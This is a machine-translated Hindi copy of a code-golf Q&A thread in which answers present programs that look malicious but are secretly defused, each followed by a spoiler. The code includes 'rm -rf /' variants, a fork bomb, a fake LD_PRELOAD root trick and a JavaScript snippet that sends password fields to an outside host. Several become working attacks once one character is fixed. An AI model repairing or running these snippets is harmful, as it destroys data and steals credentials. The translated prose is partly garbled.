यह एक अद्भुत कारनामा है जो आपको किसी भी linux मशीन पर जड़ दे सकता है! Shhh, कोई भी है कि हम यह है बताओ!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

अब स्क्रिप्ट निष्पादित करें और आप रूट होंगे! आप का उपयोग कर सुनिश्चित कर सकते हैं whoami!

वास्तव में यह केवल उन सभी एप्लिकेशन को ट्रिक करता है जो आपके पास UID = 0 है (यह रूट यूजर आईडी है)।

कोड Lcamtuf द्वारा लिखा गया है, स्रोत: http://lcamtuf.coredump.cx/soft/ld-expl


+1। वास्तव में अच्छी चाल। मुझे अभी भी पूरी तरह से समझ नहीं आया कि यह कैसे काम करता है।
एरेल सहगल-हलेवी

@ErelSegalHalevi: LD_PRELOAD के बारे में अधिक विवरण के लिए stackoverflow.com/questions/426230/what-is-the-ld-preload-trick देखें ।
mik01aj

2
ऊपर पढ़ें fakeroot(1), जो एक पुस्तकालय है जो विभिन्न पॉसिक्स सिस्टम फ़ंक्शन को कॉल को स्वीकार करता है, कॉल करने वाले को यह विश्वास करते हुए कि यह (नकली) पढ़ा है और (नकली) पूरे सिस्टम तक पहुंच लिखता है। वास्तव में, यह वास्तव में इन अनुमतियों को नहीं देगा (नहीं कर सकता है), लेकिन जब प्रोग्राम, उदाहरण के लिए "नकली" chmodफ़ंक्शन को एक फ़ाइल पर कॉल करता है और अनुमतियों को बदलता है, फ़ेकरूट इन अनुमतियों को याद रखेगा ताकि statकॉल अपडेट की गई अनुमतियाँ वापस कर दें। कुछ डिस्ट्रोस इसका उपयोग पैकेज बिल्ड सिस्टम को root:rootस्वामित्व के साथ फाइल बनाने की अनुमति देने के लिए करते हैं ।
स्लीपब्लैंक

1
यह lcamtuf का मुझे विश्वास है: lcamtuf.coredump.cx/soft/ld-expl - कम से कम मुझे याद है कि यह 90 के दशक से था
विराट

13

दे घुमा के

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

"कांटा-बम" लाइन पर एक सिंटैक्स त्रुटि है। {के बाद , एक स्थान होना चाहिए। इसके बिना, स्क्रिप्ट विफल हो जाती है क्योंकि फ़ंक्शन परिभाषा का अनुसरण स्वयं { टोकन द्वारा नहीं किया जाता है।


2
आपको सावधानी का एक नोट जोड़ना होगा (बिगाड़ने में, शायद) कि यह प्रयोग नहीं किया जा रहा है kshक्योंकि कांटा बम वहाँ एक वाक्यविन्यास त्रुटि नहीं है!
देवनाउल


@ डेनिस: असंबंधित, मैंने वह नहीं देखा है। लेकिन दिलचस्प धागा, ईमानदार होना। मुझे पता है कि कैसे bash में पार्सिंग काम करता है, और यही कारण है कि मैं इसका उपयोग नहीं करता हूं :-)।
कोनराड बोरोस्की

11

Emacs लिस्प

पहले एक साधारण। यह एक कुछ नहीं करता है। यह वास्तव में समान तत्वों को हटाने की कोशिश कर रहा है: द्वारा लौटी सूची से पुनरावर्ती directory-files। यह किसी भी फाइल को हटाने वाला नहीं है।

(delete :recursive
    (directory-files "/"))

यहाँ एक है जो भी संभावित vets स्टंप कर सकता है।

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

यह आपके रूट डायर को हटाने से केवल 1 वर्ण दूर है।

emacs lisp एक प्रतीक (चर, फ़ंक्शन, मैक्रो, आदि) के नाम पर कुछ भी होने की अनुमति देगा। अपने प्रतीकों के नाम पर यूनिकोड का उपयोग करना ठीक है और यही यहां हो रहा है।

setqकिसी भी संख्या में आर्ग ले सकते हैं (setq a 3 b 4)= 3 करने जैसा है; बी = 4; लेकिन (setq a 3 b)यह भी मान्य है और एक = 3 कर रहा है; बी = नील;

`सेटक 'का रिटर्न वैल्यू अंतिम वेरिएबल को दिया गया मान है। 4 और nil क्रमशः उदाहरणों में।

(setq a 3 b)वास्तव में कोड में क्या हो रहा है, लेकिन इसके बजाय मैं एक यूनिकोड व्हाट्सएप चरित्र का उपयोग कर रहा हूं। मैं एक वैरिएबल नाम के मान को नियत कर रहा हूं जिसका नाम यूनिकोड वर्ण 0x2001 है। क्योंकि इस शून्य को सेटक द्वारा लौटा दिया जाता है और जबकि लूप के लिए स्थिति कभी सच नहीं होती है। उस व्हाट्सएप चरित्र को बाहर निकालें और यह ठीक चलेगा।


10

बस एक और पर्ल हैकर।

मैंने यह एक 2002 में लिखा था , जबकि पेरल्मॉन्क्स पर लटका हुआ था और आम तौर पर जहां तक ​​संभव हो सके पर्ल के अपने ज्ञान को आगे बढ़ाने की कोशिश कर रहा था। इसे बिल्कुल भी संपादित नहीं किया, लेकिन यह अभी भी चलता है।

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

अगर मुझे सही तरीके से याद है, तो BEGINब्लॉक सबसे पहले चलता है, चाहे वह कोड में कोई भी हो। यह प्रतिस्थापित करता है @INCजो यह निर्धारित करता है कि पर्ल कहाँ से लोड होता है यह एक सबरूटीन से पुस्तकालय है (यह आमतौर पर पथ का एक सेट है, लेकिन इसकी अनुमति है)। सबरूटीन वास्तव में ओफ़्फ़ुसेटेड डेटा ब्लॉक है, जो कुछ रेगेक्सपी + एवल मैजिक कर रहा है। फिर, जब कोड हिट होता है require File::Path;(इसके साथ काम नहीं होता use) तो इस उप को निष्पादित किया जाता है और बस "बस एक और पर्ल हैकर" प्रिंट होता है, जैसा कि परंपरा है, और बाहर निकलता है। बाकी कोड कभी नहीं पहुंचा।


1
वाह, मुझे यह समझने में थोड़ा समय लगा कि यह कोड क्या करता है (लेकिन मैंने स्पॉइलर नहीं पढ़ा था)। मैंने रीगेक्स कॉल के इस ब्लॉक को डिकोड किया (यह उसी तरह की विधि है जैसा मैंने codegolf.stackexchange.com/a/23871/3103 में उपयोग किया है ), और मुझे यह पसंद है कि इसमें exitकमांड कैसे होती है (इसके बाद व्यर्थ अर्धविराम के साथ, लेकिन यह मायने नहीं रखता है )।
कोनराड बोरोस्की

हेहे, इसे खुद पता लगाना था, यह 11-12 साल का है। अर्धविराम शायद सब कुछ बड़े करीने से बनाने के लिए है।
स्टॉफ

9

पीएचपी:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

पहली नज़र में, $conditionगलत है, लेकिन =ऑपरेटर की पूर्वता है and, इसलिए यह शर्त सही है। इसलिए बुराई कभी नहीं की जाती है।


8

बूस्ट के साथ सी ++

यह फ़ाइल सिस्टम पर सभी फ़ाइलों को हटा देगा

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

वास्तव में यह नहीं होगा। deleteC ++ का उपयोग newफ़ाइलों और निर्देशिकाओं को हटाने के लिए आवंटित मेमोरी को मुक्त करने के लिए किया जाता है । यह प्रोग्राम एक विभाजन दोष के साथ दुर्घटना की संभावना करेगा क्योंकि यह बूस्ट द्वारा आवंटित मेमोरी से निपटने की कोशिश करता है, लेकिन उस समय तक, मैं ट्रोल की कैद से बच गया हूं।


+1। यह आसान नहीं है क्योंकि यह बिना किसी त्रुटि के भी संकलन करता है।
एर्गल सेगल-हलेवी

2
क्या पहली समस्या लाइन अपरिभाषित व्यवहार नहीं है? जिस स्थिति में यह वास्तव में उसकी सभी फाइलों को हटा सकता है।
aschepler

1
@aschepler: "यूबी आपकी सभी फाइलों को हटा सकता है" एक मजेदार स्पष्टीकरण के लिए बनाता है कि आप अनुमान नहीं लगा सकते हैं कि यूबी को लागू करते समय क्या होगा, लेकिन यह आमतौर पर एक संभावना नहीं है। यदि ट्रोल में एक कंपाइलर होता है जो UB पर हार्ड ड्राइव को मिटाता है, तो वह हमें मैलवेयर नहीं
लिखेगा

2
वाक्य रचना हाइलाइटिंग यहाँ एक संकेत देता है ...
mik01aj

8

जावा

यह रैम डाउनलोड करने का दिखावा करेगा, लेकिन यह उपयोगकर्ता के होम डायरेक्टरी को हटा देगा।

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

TimerTimerTaskआपके द्वारा सबमिट किए गए आपके कॉल के लिए पृष्ठभूमि थ्रेड का उपयोग करता है । डेमॉन थ्रेड के रूप में सेट बैकग्राउंड थ्रेड के साथ new Timer(true)बनाता है Timer, इसलिए कार्यों को चलाने से ठीक पहले प्रोग्राम बाहर निकलता है। अत्यधिक लंबा कोड trueपैरामीटर को देखने से ट्रोल को विचलित करता है ।


7
rm -rf ⁄

चरित्र नियमित स्लैश चरित्र नहीं है (/, यानि यूनिकोड में SOLIDUS) लेकिन इसके बजाय फ्रैक्शन स्लैश है। "Rm: or: ऐसी कोई फ़ाइल या निर्देशिका" जैसे संदेश नहीं छपेगा


10
ओह सच में मुझे कोशिश करते हैं ....
माइकल जे। कैलकिंस

1
@MichaelCalkins: आप एक गैर निजीकृत उपयोगकर्ता के रूप में कोशिश कर सकते हैं, और "नहीं मिला" संदेश देखें ... उम्मीद है।
ओलिवियर दुलक

7

दे घुमा के

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

यह शायद उतना ही बुरा है जितना इसे मिलता है। यह एक फ़ंक्शन को परिभाषित करता है जो rm -rf /इसे लागू करता है। इतना ही नहीं यह बुराई का उपयोग करता हैeval एक से अधिक अवसरों पर ।

यह बहुत नुकसान करता है, निश्चित रूप से!

यदि आप सोच रहे हैं, तो पहला evalफ़ंक्शन को अनसेट करता है: unset -f cleanup दूसरा evalइसे परिभाषित करता है: cleanup() { echo Troll detected; } तो कोड चलाने पर, आप देखेंगे Troll detected


9
अच्छा! लेकिन, मैं कहूंगा कि "बेस 64" लाइनें, जिनका वास्तविक रूप से वास्तविक विलोपन के लिए कोई उपयोग नहीं है, इसे थोड़ा स्पष्ट करें।
इरेल सहगल-हलेवी

1
बेहतर हो सकता है कि अगर आप यह विश्वास करने के लिए नेतृत्व कर रहे थे कि evalएस किसी भी स्पष्ट कोड की तुलना में कुछ अधिक बुराई कर रहे हैं। वर्तमान कोड मुझे यह पूछने के लिए प्रेरित करता है: यदि स्पष्ट सामान सब कुछ हटा रहा है तो 'बुराई' कोड को छिपाने में क्यों परेशान करें?
टिम एस।

2
मुझे नहीं लगता कि यह आवश्यकताओं को पूरा करता है क्योंकि यह संभावित रूप से बहुत दुर्भावनापूर्ण है: यदि base64(एक मानक आदेश नहीं) उस सिस्टम पर मौजूद नहीं है जिस पर इसे चलाया जाता है, तो evals कुछ भी नहीं करते हैं और rm -rf /चलाता है! यह तब भी हो सकता है जब base64मौजूद है लेकिन किसी कारण से विफल हो जाता है (जैसे ulimit)।
आर ..

1
@ आर .: इसके अलावा, rm -rf /अधिकांश rmकार्यान्वयन पर काम नहीं करेगा । यह एक सुरक्षा विशेषता है - आप के अधिकांश कार्यान्वयन में रूट निर्देशिका को हटा नहीं सकते हैं rm
कोनराड बोरोस्की

1
जहाँ तक मुझे पता है यह बिजीबॉक्स वर्जन पर काम करता है। :-)
आर ..

6

दे घुमा के

सुनिश्चित करें कि हमें मशीन के लिए रूट विशेषाधिकार की आवश्यकता है, इसलिए हम अच्छे पुराने का उपयोग करें "क्या मेरे पास रूट है?" - चेकर, उर्फ ch (Eck) रूट - लेकिन बेहतर यह है कि एक निर्देशिका में करें जहाँ कई अलार्म नहीं उठाए जाएंगे। / tmp सही होगा, क्योंकि हर कोई वहाँ फाइलें लिख सकता है।

इसके बाद हम पूरी हार्ड ड्राइव बुराई हँसी को हटा देते हैं

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
एक जर्मन के रूप में मैं कह सकता हूँ: एक जर्मन आदमी के रूप में बुरी हँसी मत करो ...
फिलिप सैंडर

Wer , अगर जर्मन आदमी नहीं है, तो ze eefil हंसी सही कर सकते हैं, zen?
अलेक्जेंडर कोसूबेक

5
मुझे यह स्वीकार करना होगा कि यह मुझे कोड की कई रीडिंग ले गया और फिर आपकी टिप्पणियों को फिर से काम करने के लिए कहा कि क्यों कोई यह सोच सकता है कि यह दुर्भावनापूर्ण है। मुझे नहीं लगता कि यह काम करेगा अगर आपने अपनी टिप्पणियों में किसी को मनाने की कोशिश नहीं की थी कि चुरोट इसके अलावा कुछ करता है और सवाल यह है कि ट्रोल टिप्पणी नहीं पढ़ता है ...
क्रिस

1
संयोग से, chroot"चेक रूट" नहीं है, यह "रूट बदलें" है - यह उपयोगकर्ता के विचार को बदल देता है कि क्या /है। दिलचस्प है, यह ट्रोल रूट और गैर-रूट उपयोगकर्ताओं के लिए कुछ भी करने में विफल रहता है; रूट यूजर्स को एक नया रूट मिलता है (और इस तरह कोई / बिन / बैश कमांड नहीं मिलता है क्योंकि नई बनाई गई रूट / tmp / chroot_dir में कुछ भी मौजूद नहीं है), और नॉन-रूट यूजर्स chroot करने में असफल हो जाते हैं।
महा

यह इस तरह के सुराग की तरह है - मुझे पता है कि यह "रूट को बदलने" नहीं है, लेकिन मेरे कैप्टन (सही शब्द?) को नहीं पता है - इसलिए वह बुरी तरह से विफल हो जाता है
german_guy

6

iPhone - फ्लैपी बर्ड क्लोन

जबकि उपयोगकर्ता एक iPhone Flappy बर्ड क्लोन खेल रहा है, दस्तावेज़ निर्देशिका में सभी फ़ाइलें हटा दी जाती हैं।

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

IOS में प्रत्येक ऐप सैंडबॉक्सेड है, इसलिए जब यह दस्तावेज़ निर्देशिका में सब कुछ हटा देता है, तो यह केवल इस विशेष ऐप के लिए दस्तावेज़ निर्देशिका है। ट्रोल स्पष्ट रूप से इसके बारे में नहीं जानते हैं, क्योंकि वह पहले से ही अन्य प्लेटफार्मों के लिए कई कार्यक्रमों से भर गया है। और जैसे ही उसे पता चलता है कि वह भी एक Flappy बर्ड क्लोन को बाहर कर सकता है, वह इतना उत्साहित हो सकता है कि वह बाकी कोड के बारे में सोचने के लिए भी परेशान न हो, क्योंकि वह विज्ञापन में एक दिन में $ 50,000 बनाने का सपना देख रहा है कोई काम कर रहा है।


5

जाओ:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

यह थोड़ा मुश्किल है। गो में पूरा कार्यक्रम बाहर निकलता है जब मुख्य गोरोइन बाहर निकलता है। इसे ठीक करने का एक अच्छा तरीका एक वेटग्रुप है। मेरे "फिक्स" के साथ दो बड़ी समस्याएं हैं:

  1. जब तक गोरीटाइन शुरू नहीं हो जाती है, तब तक वेटग्रुप जोड़ा नहीं जाता है, जिसका अर्थ है कि मुख्य गोरटाइन को Waitहटाए जाने से पहले मारा जाएगा Add। चूंकि काउंटर 0 होगा, इसलिए इसमें प्रतीक्षा करने के लिए कुछ भी नहीं है और इसलिए यह ब्लॉक नहीं होगा और बस समाप्त हो जाएगा, इस प्रकार कार्यक्रम को समाप्त करना होगा।
  2. यहां तक ​​कि अगर, किसी तरह, जादुई रूप से, डिलीट गोरोइन का जोड़ पहले हो जाता है। इसे वेटग्रुप की एक कॉपी मिली, न कि इसके लिए एक सूचक। यह एक ही वेटग्रुप में शामिल नहीं होगा, इसलिए मुख्य गोरूटाइन इसे कभी नहीं देखेगा।

Fmt.Scanln () इनपुट से उम्मीद है कि कुछ भी होने से पहले मुख्य गोरोइन बाहर निकलने को सुनिश्चित करने के लिए है। Println संभवत: इसे IO ब्लॉक तक ले जाएगा और मुख्य Goroutine (इस प्रकार से बाहर निकलने) पर स्विच करेगा, और Scanln लगभग निश्चित रूप से ऐसा करेगा। वास्तव में, गो के किसी भी संस्करण के साथ न तो आवश्यक हैं।

सुपर थ्योरी भूमि में यह MIGHT काम करती है और कुछ हटाती है, जिसका अर्थ है Go मेमोरी मॉडल के अनुसार कोई गारंटी नहीं है "से पहले" के अंत mainऔर निष्पादन के संबंध में "होता है RemoveAll, लेकिन यह किसी भी आधुनिक गो रनटाइम / कंपाइलर पर नहीं होगा जैसा कि स्पष्ट है उन सभी newbies द्वारा जो अपने मुख्य कार्यों में सिंक्रोनाइज़ेशन नहीं करने की गलती करते हैं।


4

जावास्क्रिप्ट

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1।

यह नहीं चलेगा, आप इसे एक बंद नहीं बना सकते हैं, इसे बिना पार्न के इसे कहते हैं

2।

अगर ट्रोल इसे ठीक करने का प्रबंधन करता है, तो डीबग करने के लिए एक सुंदर टाइपो है ... ;-)


1
क्या भाषा? और शायद टाइपो को थोड़ा और इशारा करते हैं
मास्टरएक्स 244

@ MasterX244 जावास्क्रिप्ट है, मैं इसे संपादित करूँगा। टाइपो संकेत: संदर्भरत्न
जुआन गार्सिया

3
यह टाइपो इतनी बार होता है कि इसे संपादकों द्वारा स्वतः ठीक किया जाना चाहिए ...
mik01aj

हां, मैं वह टाइपो बहुत करता हूं। खासकर यदि शब्द की लंबाई काफी लंबी है: पी
मोहम्मद जोरैड

1
@ m01 +1 मुझे लगता है कि यह एक आरक्षित शब्द होना चाहिए जो एक अपवाद या संकलन समय त्रुटि को फेंक दे!
जुआन गार्सिया
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.